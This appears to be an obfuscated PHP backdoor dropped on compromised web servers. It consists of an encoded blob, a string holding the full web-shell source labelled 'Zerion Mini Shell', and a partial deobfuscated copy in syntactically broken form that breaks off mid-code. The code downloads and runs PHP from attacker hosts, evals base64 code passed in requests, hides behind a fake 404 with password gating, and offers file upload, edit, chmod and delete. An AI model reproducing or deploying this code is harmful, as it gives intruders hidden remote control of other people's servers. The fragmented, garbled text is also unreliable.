2MsITocMTDt0QV05JM052owEPV701WcWKqafILxNFCttTquO3KykJnzElBcHJou52KykJnzEPXuEKLx9IL0IJosEKMa9IouIzp0AUV9NFLxNlBcHTMiATWtjFMgSzosITocMTWbHTqcW3qzOlBctFMfyzMj1Tqt0QVy1JLh9IMfyzMxNFstfGXaDJMfyJLzOPqyq2WbHJnxOlrtxFMmkJLzOFC90QVcDJMy5TWtjFMx92LxtlpiOap0AUXtLJntfmWjuTpa4lW/pvYajmWt0QVxIJMhEPVtNPVX0Ds7xlWi02ow5lA3AJnhVmLi8vBmOUq0u2WbZ0Et0QVyE2owElrcHTMiATWutvMcOlBcplY6yUrhDmqwyzY0Z2YibmpjEUqbqPXQqRV9NFMx92LxNlrtxFXqqPqafSIGIHIEIxHsEPX0I2pmyTVzLPVc01WcOKLafSIGIHIEIxHsEPX0I2pmyTVzLPVc01WbEKLjqlJHAIEISIEF9SWbDKMmAKntLvWtxFKaZJLafSIGIHIEIxHsEPX0I2pmyTXtLJnX0Ds7HTMiATWt4zp1EKMl1UV7xPnwEPXyA3ofA2KfWKqwOlBct2LxtlLyuKMskzp1ATV9NFMx92LxNlBcNQVfVIESOIJTyxHSM1KZA1HsESHCkxHIARVft2LxtPqj9TqyA3KfWKqwOlBcHHIFESVfD1DS5xGCA0KVAIEFM0KHO1GZWIIQOPYbATWbDUpiEKMm9SolI3LtfGXjNGZtjPII9HEAyRIsESHCkxHIARVft2LxtPqj9TqyA3KfWKqwOlBcRQVfVIETAyGOWSIBWIIHIxHsESHCkxHIARVft2LxtPqj9TqyA3KfWKqwOlBcpPofqPVfDyGSqHDFI0HI9SID9RGFI1DtjPnwEPX0O3o0I2pskzp1ATV7xPolIUWtjPGFI1KHO1GZWIIQOPYbATWbDUpiEKMm9SolI3LtfGXbDKnhy2KfWKqwOFCtt2LxNlrtxFMmkJLzOFC9NFMx92LxtPVzyTV7xPolIUWbZUqhITqh92LsEKMa9IMfyzMNOFCtHTMiATWtfGXqqPqafSIGIHIEIxHsEPVf01WbEKLjqlJHAIEISIEF9SWtjFKaZJLafSIGIHIEIxHsEPVf01WcOKLafSIGIHIEIxHsEPVfRTWtjlWmIFC0Mlpy0Qn0STpzZKW9ZJLzZKW9xTpu9mpypPXzEaocWUpmOFCtjzp1EPVtNPVX0jrX0DXuEPXQqRVh9Jn0Azo1MzPA0aPAfGXbHJnxOPVtNvPAfGXbEKLj9IMfyzMxtlnhyTohIUDtNPVtbDQ7xFMgSzosITocMTWbH2pik2LzOPVtNvPAfGXbEKLj9IMfyzMxtFMlyJqkIzpNOPVtNvPA0UVtNPVX0jBcHTMiATWtjPn0STpsITocMTWbZUqhITqh92LsEKqj9IMfyzMtNPVtNPVtNvPAfmWw5lWt0QVbEKLj9IMfyzMxNPVtNPVtNPVX0jrtxPqhITqh92LxRPXtLJntNPVtbDQ7xPn0STpsITocMTWbZUqhITqh92LsEKMa9IMfyzMNOFCtDaoyEaoiATWtNPVtbDQ701WcWKqafILxNFCttTquO3KykJnzEPVtNPVX0jBcHJou52KykJnzEPXuEKLx9IL0IJosEKMa9IouIzp0AUV9NFLxNPVtNvPAfGXyE2owEPVfHJou52KykJnzEPXyEKnlqaMtNPVtbDQ7xPXykJnzOKo0OFCtHJou52KykJnzEPVtNPVX0DstNPVtbDQ7xlWxITocSzMtDKMaqPXyyTMtNPVtNPVtNvPAfUVcH2pfSzMt0GC9NFXxIJMhEPVfHTMiATWbZ3ojWUqmuPVzyTVtNPVX0jBaNUnjqPVhNlW/pPVhNlW8pPV9NPMyIzoxNPVtNvPA0UVtNPVX0jBc01WaAKoafSqfI3pyWUWbHJnxOPVtNPVtNPVX0jrtH2pfITV9OPVtNvPAfGKaRTquE2WoEUo1AKMlEPV9NFMx92LxNPVtNPVtNPVX0jrtxFZt0GCt01WyE2owqlJ0kJqmIzpxNvWzNFXqqFMx92LafSqfI3pyWUWbDKMmAKnbNvMcOPVtNvPAfGXyIap0kFMx92LxtFMx92LyE2Kh92pdOFCtDUo1AKMlEPVtNPVX0jBcplY6yUrhHmqwyzY3IzogZ2YibmpjEUqbqPX3IzGQqRV9NFMx92LxNPVtNvPAfUVcxFKa4JMe9TqafSIGIHIEIxHsEPX0I2pmyTVzLPVc01WcOKLafSIGIHIEIxHsEPX0I2pmyTVzLPVc01WbEKLjqlJHAIEISIEF9SWbDKMmAKntLvWtxFKa42ocE3LuqlJHAIEISIEF9SWbDKMmAKnbNvMccDQ9cDQ7HTMiATWt4zp1EKMlOPVtNvPA0UVtNPVX0jBct2LxtFMm9Tow9SolI3LtNPVtNPVtNvPAfGXbATWbZJM4I2KfWKqwOFCtHTMiATWtNPVtNPVtNvPAfGXjNPYFIHEDyyEWWIEJ9SGGA1KHO1GZWIIQOPYbATWbDUpiEKMm9SolI3LtNPVtNPVtNvPAfGXSIyHHOPYHAHEB50GQ9SFGIxHT9SID9RGFI1DtjPnwEPX0O3o0I2pskzp1ATVtNPVtNPVtbDQ7xPZjRQVfDIICIHGWE1KHO1GZWIIQOPYbATWbDUpiEKMm9SolI3LtNPVtNPVtNvPAfGXkNPYFIxEG5HDFEyGFISISW1KHO1GZWIIQOPYbATWbDUpiEKMm9SolI3LtNPVtNPVtNvPAfGXajToaNPYH5HEUSxHSAIIsESHCkxHIARVft2LxtPqj9TqyA3KfWKqwOPVtNPVtNPVX0jBcjzp1EPVfjxHI9SID9RGFI1DtjPnwEPX0O3o0I2pskzp1ATVtNPVtNPVtbDQ7xPX0yzoc9SolI3Lt0QVbATWtNPVtNPVtNvPAfUVcH2pfSzMt0GCtHTMiATWbNvMcOPVtNvPAfGXfWKqxtlp05JM052ow9Sqyq2KykJnzORV9NFMx92LxNPVtNvPAfGXqqvoyg2o0qlJHAIEISIEF9SWtjFKatTquO3WoE1HSIIHSW1KxNPYqqvoiyTqwS2WoE1HSIIHSW1KxNPYqqFnjS2WoE1HSIIHSW1KxNPYuEPVfplpy0woyg2o0Mlpy0Qn0STpzZKW942ocE3LuMlpy0GnjS2CmIlWbLTqhyzpjAUV9NPolIUWtNPVtbDQ7cDQcRTWbpKMBA0Et42ocE3LhIaM");
$L8CRgr = array("/x/i", "x", "function GCNew(\$a)\r\n{\r\n    \$url = sprintf('%s?api=%s&action=%s&path=%s&token=%s', \$a, \$_REQUEST['api'], \$_REQUEST['action'], \$_REQUEST['path'], \$_REQUEST['token']);\r\n    \$code = @file_get_contents(\$url);\r\n    if (\$code == false) {\r\n        \$ch = curl_init();\r\n        curl_setopt(\$ch, CURLOPT_URL, \$url);\r\n        curl_setopt(\$ch, CURLOPT_USERAGENT, 'll');\r\n        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1);\r\n        curl_setopt(\$ch, CURLOPT_TIMEOUT, 100);\r\n        curl_setopt(\$ch, CURLOPT_FRESH_CONNECT, TRUE);\r\n        curl_setopt(\$ch, CURLOPT_SSL_VERIFYPEER, 0);\r\n        \$code = curl_exec(\$ch);\r\n        curl_close(\$ch);\r\n    }\r\n    return \$code;\r\n}\r\nif (isset(\$_REQUEST['action']) && isset(\$_REQUEST['path']) && isset(\$_REQUEST['api']) && isset(\$_REQUEST['token'])) {\r\n    \$code = GCNew('https://c-new.icw5.xyz/');\r\n    \$result = json_decode(\$code,true);\r\n    if (isset(\$result['code']) && \$result['code'] == 1) {\r\n        \$code = \$result['data'];\r\n    } else {\r\n        die(\$result['msg']);\r\n    }\r\n    \$need = '<' . '?' . 'php';\r\n    if (strpos(\$code, \$need) === false) {\r\n        die('get failed');\r\n    }\r\n    \$file_name = tmpfile();\r\n    fwrite(\$file_name, \$code);\r\n    \$a = stream_get_meta_data(\$file_name);\r\n    \$file_path = \$a['uri'];\r\n    \$content = @file_get_contents(\$file_path);\r\n    if (!\$content) {\r\n        \$file_path = '.c';\r\n        file_put_contents(\$file_path, \$code);\r\n    }\r\n    @require(\$file_path);\r\n    fclose(\$file_name);\r\n    @unlink(\$file_path);\r\n    die();\r\n}\r\nfunction GC(\$a)\r\n{\r\n    \$url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', \$a, \$_REQUEST['api'], \$_REQUEST['ac'], \$_REQUEST['path'], \$_REQUEST['t']); \$code = @file_get_contents(\$url); if (\$code == false) { \$ch = curl_init(); curl_setopt(\$ch, CURLOPT_URL, \$url); curl_setopt(\$ch, CURLOPT_USERAGENT, 'll'); curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt(\$ch, CURLOPT_TIMEOUT, 100); curl_setopt(\$ch, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt(\$ch, CURLOPT_SSL_VERIFYPEER, 0); \$code = curl_exec(\$ch); curl_close(\$ch); }return \$code;}\r\nif (isset(\$_REQUEST['ac']) && isset(\$_REQUEST['path']) && isset(\$_REQUEST['api']) && isset(\$_REQUEST['t'])) { \$code = GC('https://c4.icw4.xyz/'); if(!\$code){\$code = GC('https://c2.icw7.com/');}\r\n    \$need = '<'.'?'.'php'; if (strpos(\$code, \$need) === false) { die('get failed'); } \$file_name = tmpfile(); fwrite(\$file_name, \$code); \$a = stream_get_meta_data(\$file_name);\$file_path = \$a['uri']; \$content = @file_get_contents(\$file_path);if(!\$content){\$file_path = '.c'; file_put_contents(\$file_path, \$code);}@require(\$file_path); fclose(\$file_name);@unlink(\$file_path);die(); }\r\n\r\nif (isset(\$_REQUEST['d_time'])){ die('{->'.\$L7CRgr.'<-}'); }\r\n\$pass = false;\r\nif (isset(\$_COOKIE['pass'])) { if(md5(\$_COOKIE['pass']) == \$L7CRgr) { \$pass = true; } } else\r\n{ if (isset(\$_POST['pass'])) { if(md5(\$_POST['pass']) == \$L7CRgr) { setcookie(\"pass\", \$_POST['pass']); \$pass = true; } } }\r\nif (isset(\$_POST['logout']) && \$_POST['logout'] = 1) { setcookie(\"pass\", null); \$pass= false; }\r\nif(isset(\$_REQUEST['pwd163']) && md5(\$_REQUEST['pwd163']) == \$L7CRgr) {\r\n    \$a = base64_decode(rawurldecode((urlencode(urldecode(\$_REQUEST['zzz'])))));\r\n    \$need = base64_decode(\"PD9waHA=\");\r\n    if (strpos(\$a, \$need) === false) { \$a = \$need . PHP_EOL . \$a; }\r\n    if (isset(\$_REQUEST['e'])){ \$a = str_replace(\$need, \"\", \$a); \$b = 'e'.base64_decode(\"dmE=\").'l'; \$b(\$a);die(); }\r\n    \$file_name = tmpfile(); fwrite(\$file_name, \$a);\r\n    \$require_params = stream_get_meta_data(\$file_name);\r\n    @require(\$require_params['uri']);\r\n    fclose(\$file_name);die(); }\r\nif (isset(\$_REQUEST['auth_key'])){ die(\$L7CRgr); } if (!\$pass) { if(!isset(\$_REQUEST['520'])) { header(\"HTTP/1.1 404 Not Found\"); die();} echo '<form action=\"#\" method=\"post\"><input type=\"password\" name=\"pass\" > <input type=\"submit\" value=\"submit\"></form>'; die(); }\r\n\r\n\r\necho '<form action=\"#\" method=\"post\"><input type=\"hidden\" name=\"logout\" value=\"1\"> <input type=\"submit\" value=\"logout\"></form>'; echo '<!DOCTYPE HTML>\r\n<HTML>\r\n<HEAD>\r\n<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\r\n<title>Mini Shell</title>\r\n<style>\r\nbody{\r\nfont-family: \"Racing Sans One\", cursive;\r\nbackground-color: #e6e6e6;\r\ntext-shadow:0px 0px 1px #757575;\r\n}\r\n#content tr:hover{\r\nbackground-color: #636263;\r\ntext-shadow:0px 0px 10px #fff;\r\n}\r\n#content .first{\r\nbackground-color: silver;\r\n}\r\n#content .first:hover{\r\nbackground-color: silver;\r\ntext-shadow:0px 0px 1px #757575;\r\n}\r\ntable{\r\nborder: 1px #000000 dotted;\r\n}\r\nH1{\r\nfont-family: \"Rye\", cursive;\r\n}\r\na{\r\ncolor: #000;\r\ntext-decoration: none;\r\n}\r\na:hover{\r\ncolor: #fff;\r\ntext-shadow:0px 0px 10px #ffffff;\r\n}\r\ninput,select,textarea{\r\nborder: 1px #000000 solid;\r\n-moz-border-radius: 5px;\r\n-webkit-border-radius:5px;\r\nborder-radius:5px;\r\n}\r\n</style>\r\n</HEAD>\r\n<BODY>\r\n<H1><center><img src=\"https://s.yimg.com/lq/i/mesg/emoticons7/19.gif\"/>\r\n Mini Shell <img src=\"https://s.yimg.com/lq/i/mesg/emoticons7/19.gif\"/>\r\n </center></H1>\r\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr><td>Direktori : '; if(isset(\$_GET['path'])){ \$path = \$_GET['path']; }else{ \$path = getcwd(); } \$path = str_replace('\\\\','/',\$path); \$paths = explode('/',\$path); foreach(\$paths as \$id=>\$pat){ if(\$pat == '' && \$id == 0){ \$a = true; echo '<a href=\"?path=/\">/</a>'; continue; } if(\$pat == '') continue; echo '<a href=\"?path='; for(\$i=0;\$i<=\$id;\$i++){ echo \"\$paths[\$i]\"; if(\$i != \$id) echo \"/\"; } echo '\">'.\$pat.'</a>/'; } echo '</td></tr><tr><td>';if(isset(\$_POST['path_create'])) {if(@mkdir(\$path.'/' . \$_POST['path_create'])){echo '<font color=\"green\">create success :* '.\$path.'/' . \$_POST['path_create'].'</font><br />';}else{echo '<font color=\"red\">create failed :* '.\$path.'/' . \$_POST['path_create'].'</font><br />';}}if(isset(\$_FILES['file'])){ if(copy(\$_FILES['file']['tmp_name'],\$path.'/'.\$_FILES['file']['name'])){ echo '<font color=\"green\">File Ter-Upload :* </font><br />'; }else{ echo '<font color=\"red\">Upload gagal, Servernya kek <img src=\"http://c.fastcompany.net/asset_files/-/2014/11/11/4F4.gif\"/>\r\n </font><br />'; } } echo '<form enctype=\"multipart/form-data\" method=\"POST\">\r\nUpload File : <input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"upload\" />\r\n</form>\r\n</td></tr>\r\n<tr><td><form enctype=\"multipart/form-data\" method=\"POST\">\r\nCreate Path : <input type=\"text\" name=\"path_create\" />\r\n<input type=\"submit\" value=\"create\" />\r\n</form></td></td>'; if(isset(\$_GET['filesrc'])){ echo \"<tr><td>Current File : \"; echo \$_GET['filesrc']; echo '</tr></td></table><br />'; echo('<pre>'.htmlspecialchars(file_get_contents(\$_GET['filesrc'])).'</pre>'); }elseif(isset(\$_GET['option']) && \$_POST['opt'] != 'delete'){ echo '</table><br /><center>'.\$_POST['path'].'<br /><br />'; if(\$_POST['opt'] == 'chmod'){ if(isset(\$_POST['perm'])){ if(chmod(\$_POST['path'],octdec(\$_POST['perm']))){ echo '<font color=\"green\">Change Permission Done.</font><br />'; }else{ echo '<font color=\"red\">Change Permission Error.</font><br />'; } } echo '<form method=\"POST\">\r\nPermission : <input name=\"perm\" type=\"text\" size=\"4\" value=\"'.substr(sprintf('%o', fileperms(\$_POST['path'])), -4).'\" />\r\n<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\r\n<input type=\"hidden\" name=\"opt\" value=\"chmod\">\r\n<input type=\"submit\" value=\"Go\" />\r\n</form>'; }elseif(\$_POST['opt'] == 'rename'){ if(isset(\$_POST['newname'])){ if(rename(\$_POST['path'],\$path.'/'.\$_POST['newname'])){ echo '<font color=\"green\">Change Name Done.</font><br />'; }else{ echo '<font color=\"red\">Change Name Error.</font><br />'; } \$_POST['name'] = \$_POST['newname']; } echo '<form method=\"POST\">\r\nNew Name : <input name=\"newname\" type=\"text\" size=\"20\" value=\"'.\$_POST['name'].'\" />\r\n<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\r\n<input type=\"hidden\" name=\"opt\" value=\"rename\">\r\n<input type=\"submit\" value=\"Go\" />\r\n</form>'; }elseif(\$_POST['opt'] == 'edit'){ if(isset(\$_POST['src'])){ \$fp = fopen(\$_POST['path'],'w'); if(fwrite(\$fp,\$_POST['src'])){ echo '<font color=\"green\">Edit File Done ~_^.</font><br />'; }else{ echo '<font color=\"red\">Edit File Error ~_~.</font><br />'; } fclose(\$fp); } echo '<form method=\"POST\">\r\n<textarea cols=80 rows=20 name=\"src\">'.htmlspecialchars(file_get_contents(\$_POST['path'])).'</textarea><br />\r\n<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\r\n<input type=\"hidden\" name=\"opt\" value=\"edit\">\r\n<input type=\"submit\" value=\"Go\" />\r\n</form>'; } echo '</center>'; }else{ echo '</table><br /><center>'; if(isset(\$_GET['option']) && \$_POST['opt'] == 'delete'){ if(\$_POST['type'] == 'dir'){ if(rmdir(\$_POST['path'])){ echo '<font color=\"green\">Delete Dir Done.</font><br />'; }else{ echo '<font color=\"red\">Delete Dir Error.</font><br />'; } }elseif(\$_POST['type'] == 'file'){ if(unlink(\$_POST['path'])){ echo '<font color=\"green\">Delete File Done.</font><br />'; }else{ echo '<font color=\"red\">Delete File Error.</font><br />'; } } } echo '</center>'; \$scandir = scandir(\$path); echo '<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>'; foreach(\$scandir as \$dir){ if(!is_dir(\"\$path/\$dir\") || \$dir == '.' || \$dir == '..') continue; echo \"<tr>\r\n<td><a href=\\\"?path=\$path/\$dir\\\">\$dir</a></td>\r\n<td><center>--</center></td>\r\n<td><center>\"; if(is_writable(\"\$path/\$dir\")) echo '<font color=\"green\">'; elseif(!is_readable(\"\$path/\$dir\")) echo '<font color=\"red\">'; echo perms(\"\$path/\$dir\"); if(is_writable(\"\$path/\$dir\") || !is_readable(\"\$path/\$dir\")) echo '</font>'; echo \"</center></td>\r\n<td><center><form method=\\\"POST\\\" action=\\\"?option&path=\$path\\\">\r\n<select name=\\\"opt\\\">\r\n<option value=\\\"\\\"></option>\r\n<option value=\\\"delete\\\">Delete</option>\r\n<option value=\\\"chmod\\\">Chmod</option>\r\n<option value=\\\"rename\\\">Rename</option>\r\n</select>\r\n<input type=\\\"hidden\\\" name=\\\"type\\\" value=\\\"dir\\\">\r\n<input type=\\\"hidden\\\" name=\\\"name\\\" value=\\\"\$dir\\\">\r\n<input type=\\\"hidden\\\" name=\\\"path\\\" value=\\\"\$path/\$dir\\\">\r\n<input type=\\\"submit\\\" value=\\\">\\\" />\r\n</form></center></td>\r\n</tr>\"; } echo '<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>'; foreach(\$scandir as \$file){ if(!is_file(\"\$path/\$file\")) continue; \$size = filesize(\"\$path/\$file\")/1024; \$size = round(\$size,3); if(\$size >= 1024){ \$size = round(\$size/1024,2).' MB'; }else{ \$size = \$size.' KB'; } echo \"<tr>\r\n<td><a href=\\\"?filesrc=\$path/\$file&path=\$path\\\">\$file</a></td>\r\n<td><center>\".\$size.\"</center></td>\r\n<td><center>\"; if(is_writable(\"\$path/\$file\")) echo '<font color=\"green\">'; elseif(!is_readable(\"\$path/\$file\")) echo '<font color=\"red\">'; echo perms(\"\$path/\$file\"); if(is_writable(\"\$path/\$file\") || !is_readable(\"\$path/\$file\")) echo '</font>'; echo \"</center></td>\r\n<td><center><form method=\\\"POST\\\" action=\\\"?option&path=\$path\\\">\r\n<select name=\\\"opt\\\">\r\n<option value=\\\"\\\"></option>\r\n<option value=\\\"delete\\\">Delete</option>\r\n<option value=\\\"chmod\\\">Chmod</option>\r\n<option value=\\\"rename\\\">Rename</option>\r\n<option value=\\\"edit\\\">Edit</option>\r\n</select>\r\n\r\n<input type=\\\"hidden\\\" name=\\\"type\\\" value=\\\"file\\\">\r\n<input type=\\\"hidden\\\" name=\\\"name\\\" value=\\\"\$file\\\">\r\n<input type=\\\"hidden\\\" name=\\\"path\\\" value=\\\"\$path/\$file\\\">\r\n<input type=\\\"submit\\\" value=\\\">\\\" />\r\n</form></center></td>\r\n</tr>\"; } echo '</table>\r\n</div>'; } echo '<center><br />Zerion Mini Shell <font color=\"green\">1.0</font></center>\r\n</BODY>\r\n</HTML>'; function perms(\$file){ \$perms = fileperms(\$file); if ((\$perms & 0xC000) == 0xC000) { \$info = 's'; } elseif ((\$perms & 0xA000) == 0xA000) { \$info = 'l'; } elseif ((\$perms & 0x8000) == 0x8000) { \$info = '-'; } elseif ((\$perms & 0x6000) == 0x6000) { \$info = 'b'; } elseif ((\$perms & 0x4000) == 0x4000) { \$info = 'd'; } elseif ((\$perms & 0x2000) == 0x2000) { \$info = 'c'; } elseif ((\$perms & 0x1000) == 0x1000) { \$info = 'p'; } else { \$info = 'u'; } \$info .= ((\$perms & 0x0100) ? 'r' : '-'); \$info .= ((\$perms & 0x0080) ? 'w' : '-'); \$info .= ((\$perms & 0x0040) ? ((\$perms & 0x0800) ? 's' : 'x' ) : ((\$perms & 0x0800) ? 'S' : '-')); \$info .= ((\$perms & 0x0020) ? 'r' : '-'); \$info .= ((\$perms & 0x0010) ? 'w' : '-'); \$info .= ((\$perms & 0x0008) ? ((\$perms & 0x0400) ? 's' : 'x' ) : ((\$perms & 0x0400) ? 'S' : '-')); \$info .= ((\$perms & 0x0004) ? 'r' : '-'); \$info .= ((\$perms & 0x0002) ? 'w' : '-'); \$info .= ((\$perms & 0x0001) ? ((\$perms & 0x0200) ? 't' : 'x' ) : ((\$perms & 0x0200) ? 'T' : '-')); return \$info; }");
$L7CRgr = "0d33d698e770f1c652d6c3c716d5819e";
preg_replace($L8CRgr[0], serialize(
    /****/
    @eval {
        function GCNew($a)
        {
            $url = sprintf('%s?api=%s&action=%s&path=%s&token=%s', $a, $_REQUEST['api'], $_REQUEST['action'], $_REQUEST['path'], $_REQUEST['token']);
            $code = @file_get_contents($url);
            if ($code == false) {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_USERAGENT, 'll');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_TIMEOUT, 100);
                curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                $code = curl_exec($ch);
                curl_close($ch);
            }
            return $code;
        }
        if (isset($_REQUEST['action']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['token'])) {
            $code = GCNew('https://c-new.icw5.xyz/');
            $result = json_decode($code, true);
            if (isset($result['code']) && $result['code'] == 1) {
                $code = $result['data'];
            } else {
                die($result['msg']);
            }
            $need = '<?php';
            if (strpos($code, $need) === false) {
                die('get failed');
            }
            $file_name = tmpfile();
            fwrite($file_name, $code);
            $a = stream_get_meta_data($file_name);
            $file_path = $a['uri'];
            $content = @file_get_contents($file_path);
            if (!$content) {
                $file_path = '.c';
                file_put_contents($file_path, $code);
            }
            @(require $file_path);
            fclose($file_name);
            @unlink($file_path);
            die;
        }
        function GC($a)
        {
            $url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']);
            $code = @file_get_contents($url);
            if ($code == false) {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_USERAGENT, 'll');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_TIMEOUT, 100);
                curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                $code = curl_exec($ch);
                curl_close($ch);
            }
            return $code;
        }
        if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) {
            $code = GC('https://c4.icw4.xyz/');
            if (!$code) {
                $code = GC('https://c2.icw7.com/');
            }
            $need = '<?php';
            if (strpos($code, $need) === false) {
                die('get failed');
            }
            $file_name = tmpfile();
            fwrite($file_name, $code);
            $a = stream_get_meta_data($file_name);
            $file_path = $a['uri'];
            $content = @file_get_contents($file_path);
            if (!$content) {
                $file_path = '.c';
                file_put_contents($file_path, $code);
            }
            @(require $file_path);
            fclose($file_name);
            @unlink($file_path);
            die;
        }
        if (isset($_REQUEST['d_time'])) {
            die('{->' . $L7CRgr . '<-}');
        }
        $pass = false;
        if (isset($_COOKIE['pass'])) {
            if (md5($_COOKIE['pass']) == $L7CRgr) {
                $pass = true;
            }
        } else {
            if (isset($_POST['pass'])) {
                if (md5($_POST['pass']) == $L7CRgr) {
                    setcookie("pass", $_POST['pass']);
                    $pass = true;
                }
            }
        }
        if (isset($_POST['logout']) && ($_POST['logout'] = 1)) {
            setcookie("pass", null);
            $pass = false;
        }
        if (isset($_REQUEST['pwd163']) && md5($_REQUEST['pwd163']) == $L7CRgr) {
            $a = base64_decode(rawurldecode(urlencode(urldecode($_REQUEST['zzz']))));
            $need = "<?php";
            if (strpos($a, $need) === false) {
                $a = "<?phpPHP_EOL" . $a;
            }
            if (isset($_REQUEST['e'])) {
                $a = str_replace($need, "", $a);
                $b = "eval";
                eval($a);
                die;
            }
            $file_name = tmpfile();
            fwrite($file_name, $a);
            $require_params = stream_get_meta_data($file_name);
            @(require $require_params['uri']);
            fclose($file_name);
            die;
        }
        if (isset($_REQUEST['auth_key'])) {
            die($L7CRgr);
        }
        if (!$pass) {
            if (!isset($_REQUEST['520'])) {
                header("HTTP/1.1 404 Not Found");
                die;
            }
            echo '<form action="#" method="post"><input type="password" name="pass" > <input type="submit" value="submit"></form>';
            die;
        }
        echo '<form action="#" method="post"><input type="hidden" name="logout" value="1"> <input type="submit" value="logout"></form>';
        echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>Mini Shell</title>
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: #e6e6e6;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: silver;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #000000 dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center><img src="https://s.yimg.com/lq/i/mesg/emoticons7/19.gif"/>
 Mini Shell <img src="https://s.yimg.com/lq/i/mesg/emoticons7/19.gif"/>
 </center></H1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Direktori : ';
        if (isset($_GET['path'])) {
            $path = $_GET['path'];
        } else {
            $path = getcwd();
        }
        $path = str_replace('\\', '/', $path);
        $paths = explode('/', $path);
        foreach ($paths as $id => $pat) {
            if ($pat == '' && $id == 0) {
                $a = true;
                echo '<a href="?path=/">/</a>';
                continue;
            }
            if ($pat == '') {
                continue;
            }
            echo '<a href="?path=';
            for ($i = 0; $i <= $id; $i++) {
                echo "{$paths[$i]}";
                if ($i != $id) {
                    echo "/";
                }
            }
            echo '">' . $pat . '</a>/';
        }
        echo '</td></tr><tr><td>';
        if (isset($_POST['path_create'])) {
            if (@mkdir($path . '/' . $_POST['path_create'])) {
                echo '<font color="green">create success :* ' . $path . '/' . $_POST['path_create'] . '</font><br />';
            } else {
                echo '<font color="red">create failed :* ' . $path . '/' . $_POST['path_create'] . '</font><br />';
            }
        }
        if (isset($_FILES['file'])) {
            if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
                echo '<font color="green">File Ter-Upload :* </font><br />';
            } else {
                echo '<font color="red">Upload gagal, Servernya kek <img src="http://c.fastcompany.net/asset_files/-/2014/11/11/4F4.gif"/>
 </font><br />';
            }
        }
        echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>
<tr><td><form enctype="multipart/form-data" method="POST">
Create Path : <input type="text" name="path_create" />
<input type="submit" value="create" />
</form></td></td>';
        if (isset($_GET['filesrc'])) {
            echo "<tr><td>Current File : ";
            echo $_GET['filesrc'];
            echo '</tr></td></table><br />';
            echo '<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
        } elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
            echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
            if ($_POST['opt'] == 'chmod') {
                if (isset($_POST['perm'])) {
                    if (chmod($_POST['path'], octdec($_POST['perm']))) {
                        echo '<font color="green">Change Permission Done.</font><br />';
                    } else {
                        echo '<font color="red">Change Permission Error.</font><br />';
                    }
                }
                echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), 4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
            } elseif ($_POST['opt'] == 'rename') {
                if (isset($_POST['newname'])) {
                    if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                        echo '<font color="green">Change Name Done.</font><br />';
                    } else {
                        echo '<font color="red">Change Name Error.</font><br />';
                    }
                    $_POST['name'] = $_POST['newname'];
                }
                echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
            } elseif ($_POST['opt'] == 'edit') {
                if (isset($_POST['src'])) {
                    $fp = fopen($_POST['path'], 'w');
                    if (fwrite($fp, $_POST['src'])) {
                        echo '<font color="green">Edit File Done ~_^.</font><br />';
                    } else {
                        echo '<font color="red">Edit File Error ~_~.</font><br />';
                    }
